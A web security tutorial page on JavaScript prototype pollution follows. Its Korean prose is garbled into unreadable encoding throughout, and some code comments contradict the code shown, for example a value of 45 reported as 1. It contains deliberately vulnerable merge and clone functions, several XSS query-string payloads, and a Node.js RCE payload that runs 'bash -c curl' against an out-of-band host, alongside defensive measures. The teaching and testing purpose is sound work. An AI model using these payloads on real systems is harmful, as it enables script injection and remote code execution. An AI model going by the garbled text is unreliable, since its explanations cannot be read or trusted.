Prototype Pollution

Prototype Pollution

in

๐Ÿ” Introduction

Prototype Pollution์€ Javascript ์ฒ˜๋ฆฌ ๋กœ์ง์˜ ๋ฌธ์ œ๋กœ Object ๋“ค์˜ prototype์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. Object์˜ protype์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ์˜๋„๋œ ๋กœ์ง์„ ๋ฒ—์–ด๋‚˜๊ฑฐ๋‚˜ DOM์— ๊ด€์—ฌํ•˜์—ฌ XSS ๋“ฑ์˜ ์ถ”๊ฐ€์ ์ธ ๋ฌธ์ œ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

let myObj = {} 
myObj['__proto__']['a'] = 'aโ€™ 
// myObj์˜ prototype(__proto__) ์˜ a์— a๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค.
console.log(myObj.a) 

let newObj = {} 
// ์ดํ›„ newObj๋ผ๋Š” Object๋ฅผ ๋งŒ๋“ค์—ˆ๋Š”๋ฐ, 
// log๋ฅผ ๋ณด๋ฉด a๊ฐ€ ์ฐํž™๋‹ˆ๋‹ค. Object prototype์ด ๋ฐ”๋€Œ์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
console.log(newObj.a)

Prototype Pollution

  • Object.__proto__
  • Object.constructor.prototype

Property Access

DOM Clobbering๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ Javascript์—์„œ Array, JSON ๋“ฑ์€ Object์—์„œ ํ•˜์œ„ Object๋ฅผ ์ฐธ๊ณ ํ•˜๋Š” ๊ฒƒ๊ณผ ๋™์ผํ•˜๊ฒŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

var obj = {"a":1,"b":function(){return 99;}};
var name1 = "a";
obj.a // 1
obj.["a"] //1
obj[name1] // 1

var name2 = "b";
obj.b // 99
obj.["b"] // function
obj[name2] // function

Magic Property

ํ”„๋กœํ† ํƒ€์ž…์€ setter/getter Magic Property์ด๊ธฐ ๋•Œ๋ฌธ์— ํ”„๋กœํ† ํƒ€์ž…์˜ ๋ฆฌํ„ด์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์•„๋ž˜์™€ ๊ฐ™์ด Number ๊ฐ์ฒด์˜ prototype์„ pollutionํ•˜์—ฌ toString() ํ•จ์ˆ˜๊ฐ€ ์šฐ๋ฆฌ๊ฐ€ ์˜๋„ํ•œ ํ•จ์ˆ˜๋กœ ๋™์ž‘ํ•˜๋„๋ก ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ Prototype Pollution์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

var test1 = 1; // int (Number)
var test2 = 2; // int (Number)
console.log(test1.constructor); // function Number()
console.log(test2.constructor); // function Number()

console.log(test2.toString()); // "2"
test1.constructor.prototype.toString = function(){return "hacked"}
console.log(test2.toString()); // "hacked"

๐Ÿ—ก Offensive techniques

Detect

Attack Vector

๋ณดํŽธ์ ์œผ๋กœ __proto__๋ฅผ ํ†ตํ•œ Prototype ์ˆ˜์ • ๋ฐฉ๋ฒ•์ด ๋งŽ์ด ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด์™ธ์—๋„ constructor ๋“ฑ์„ ํ†ตํ•ด์„œ๋„ ๊ฐ€๋Šฅํ•˜๋‹ˆ ์•Œ์•„๋‘์‹œ๋ฉด ์ข‹์Šต๋‹ˆ๋‹ค.

  • Object.__proto__
  • Object.constructor.prototype

Set Property

์‚ฌ์šฉ์ž๊ฐ€ ํ†ต์ œํ•  ์ˆ˜ ์žˆ๋Š” ์ž…๋ ฅ ๊ตฌ๊ฐ„์—์„œ ๊ฐ’์„ ์ฝ์–ด Property์— ์„ค์ •ํ•˜๋Š” ๋กœ์ง์ด ์žˆ๋Š” ๊ฒฝ์šฐ __proto__ ์™€ ๊ฐ™์€ property๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ pollution์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}
 
function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}
 
const obj1 = {};
setValue(obj1, "__proto__.hacked", 45);
const obj2 = {};
obj2.hacked; // 1

Object Merge

Object 2๊ฐœ๋ฅผ ๋ณ‘ํ•ฉํ•˜๋Š” merge ํ˜•ํƒœ์˜ ๊ฒฝ์šฐ๋„ Prototype Pollution์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}
 
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"hacked":45}}');
merge(obj1, obj2);
const obj3 = {};
obj3.hacked; // 45

Object Copy

merge({}, obj) ๋“ฑ์„ ์ด์šฉํ•œ Copy ๋กœ์ง๋„ Prototype Pollution์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ๋‚˜ merge({}, obj) ๋กœ์ง์€ ์•Œ๋ ค์ง„ Javascript ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋งŽ์ด ๋‚˜์˜ค๋Š” ๋ฌธ์ œ์ ์ž…๋‹ˆ๋‹ค.

function clone(obj) {
  return merge({}, obj);
}
 
const obj1 = JSON.parse('{"__proto__":{"hacked":45}}');
const obj2 = clone(obj1);
const obj3 = {};
obj3.polluted; // 45

Object recursive merge

์•„๋ž˜์™€ ๊ฐ™์ด ์žฌ๊ท€์ ์œผ๋กœ merge ํ•˜๋Š” ๊ฒฝ์šฐ๋„ ๋Œ€ํ‘œ์ ์ธ ์ทจ์•ฝ ๋ชจ๋ธ ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค.

merge (target, source)
  foreach property of source

if property exists and is an object on both the target and the source
  merge(target[property], source[property])

else
  target[property] = source[property]

parseQueryString

parseQueryString, m.parseQueryString ๋“ฑ๊ณผ ๊ฐ™์ด URL Query์—์„œ ๊ฐ’์„ ํŒŒ์‹ฑํ•˜์—ฌ Object๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ๋‹จ์ˆœํžˆ ์›น ํŽ˜์ด์ง€์— ์ž„์˜์˜ Query๋ฅผ ๋„ฃ๋Š” ํ˜•ํƒœ๋กœ๋„ Pollution์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET /?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>

์ด๋ ‡๊ฒŒ ์ฟผ๋ฆฌ ํŒŒ์‹ฑ์ธ ๊ฒฝ์šฐ ppfuzz ๋ฅผ ๋„๊ตฌ๋ฅผ ์ด์šฉํ•˜์—ฌ ์‰ฝ๊ฒŒ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ppfuzz -l urls.txt 

๋˜ํ•œ JSON ํฌ๋งท์„ ์ฒ˜๋ฆฌํ•˜๋Š” ํ˜•ํƒœ๋„ ๋น„์Šทํ•˜๊ฒŒ ์ ์šฉ๋ฐ›์Šต๋‹ˆ๋‹ค.

GET /?__proto__{"innerHTML": "<img/src/onerror%3dalert(1)>"}

https://github.com/dwisiswant0/ppfuzz

Library ๋ณ„ Payloads

  • https://github.com/BlackFan/client-side-prototype-pollution
  • https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution

ZAP Scripting

Prototype Pollution์„ ์‰ฝ๊ฒŒ ์‹๋ณ„ํ•˜๊ฒŒ ์œ„ํ•ด์„œ ZAP์—์„œ Passive ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ค์–ด๋’€์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ํŒจ์‹œ๋ธŒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ ์šฉํ•˜์‹œ๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด Response์— ์•Œ๋ ค์ง„ Prototype Pollution ์ทจ์•ฝ ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ Alerts์—์„œ Medium ์ด์Šˆ๋กœ ํ‘œ๊ธฐํ•ด์ค๋‹ˆ๋‹ค ๐Ÿ˜Ž

Exploitation

XSS

Prototype Pollution์˜ ๋Œ€ํ‘œ์ ์ธ ๋ฆฌ์Šคํฌ๋Š” XSS์ž…๋‹ˆ๋‹ค. Object์˜ Prototype์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ธฐ ๋–„๋ฌธ์— ์ดํ›„ Object์˜ ์ƒ์„ฑ์ด๋‚˜ ์‚ฌ์šฉ๋‹จ์— ๊ด€์—ฌํ•˜์—ฌ ์ž„์˜๋กœ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋™์ž‘๋  ์ˆ˜ ์žˆ๋„๋ก ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

e.g

GET /?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
GET /?__proto__[context]=<img/src/onerror%3dalert(1)>
GET /?__proto__[onload]=alert(1)
GET /?__proto__[src][]=data:,alert(1)//
GET /?__proto__[url]=data:,alert(1)//

localStorage pollution

๋งŒ์•ฝ ์„œ๋น„์Šค์—์„œ localStorage๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ set() ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ getter๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ Prototype Pollution์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ localStorage์— mydebug ๊ฐ’์„ ๊ฐ€์ง€๊ณ  FE์˜ ์„ค์ •์„ ๋ณ€๊ฒฝํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ณ , FE์—์„œ getter๋กœ ์ด๋ฅผ ๊ฐ€์ ธ์™€์„œ ๋ถ„๊ธฐํ•˜๋Š” ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด ์•…์šฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

// localStorage.mydebug is false

// Pollution!
const obj2 = JSON.parse('{"__proto__":{"mydebug":true}}');
merge(obj1, obj2);

// localStorage.mydebug is true

if localStorage.mydebug {
  // some debug logic..
}

Bypass any protection

Object์˜ ๊ฐ’์„ ํ†ต์ œํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Javascript ๋‚ด๋ถ€์—์„œ ์กด์žฌํ•˜๋Š” ํ†ต์ œ ๋กœ์ง์€ ์—๋Ÿฌ๋ฅผ ์œ ๋„ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๋ถ„๊ธฐ๋ฅผ ์œ ๋„ํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RCE

Javascript๊ฐ€ ๋™์ž‘ํ•˜๋Š” ๊ตฌ๊ฐ„(e.g NodeJS)์— ๋”ฐ๋ผ์„œ Server-side์˜ ๋ฌธ์ œ๋กœ ๋ฒˆ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c curl <OAST>");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

๐Ÿ›ก Defensive techniques

Object.freeze

๋Œ€ํ‘œ์ ์ธ ๋ฐฉ๋ฒ•์œผ๋ก  Object.freeze (Object.prototype)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ prototype์„ freeze ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ดํ›„์— prototype์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†์–ด Pollution์„ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Not use Recursive merge

Recursive merge๋Š” ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

Using objects without prototypes

Object.create(null)์™€ ๊ฐ™์ด prototype์ด ์—†๋Š” object๋ฅผ ์ด์šฉํ•˜์—ฌ pollution์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Object to Map

Object ๊ธฐ๋ฐ˜์˜ ๋กœ์ง์„ Map์œผ๋กœ ๋ฐ”๊พธ์–ด pollution์„ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Update JS Library

JS ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— Prototype Pollution์„ ๊ฒฝ์šฐ๋„ ๋งŽ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ๊ฐ€๊ธ‰์  ํŒจ์น˜ ๋ฒ„์ „, ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

๐Ÿ•น Tools

  • https://github.com/dwisiswant0/ppfuzz
  • https://github.com/hahwul/fuzzstone/blob/main/zap-scripts/passive/findPrototypePollution.js

๐Ÿ“š Articles

๐Ÿ“Œ References

  • https://github.com/BlackFan/client-side-prototype-pollution
  • https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution